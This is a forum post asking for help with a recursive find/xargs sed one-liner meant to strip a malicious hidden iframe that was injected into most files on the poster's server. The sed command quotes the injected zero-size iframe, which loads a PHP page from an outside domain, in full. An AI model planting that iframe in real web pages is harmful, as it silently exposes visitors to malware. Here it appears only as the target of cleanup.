Hey all,
So, my server has recently been hit with an annoying injection. Most of my files have a nasty little iframe attached to them now.
What I need to do is a recursive search and replace - which I could write in PHP, but then I'd still have to run it more times than I'd like due to memory restrictions.
I've been given this one-liner by a friend, but I get an error when I try to run it.
Here's the command.
find ./ -type f | xargs sed -i 's|<iframe src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>| |g'
So, theoretically that should replace the iframe code with a space.
But for every file on the server, I get this error.
I've googled but haven't come up with much. This type of scripting isn't really my forte.
Thanks in advance for your thoughts.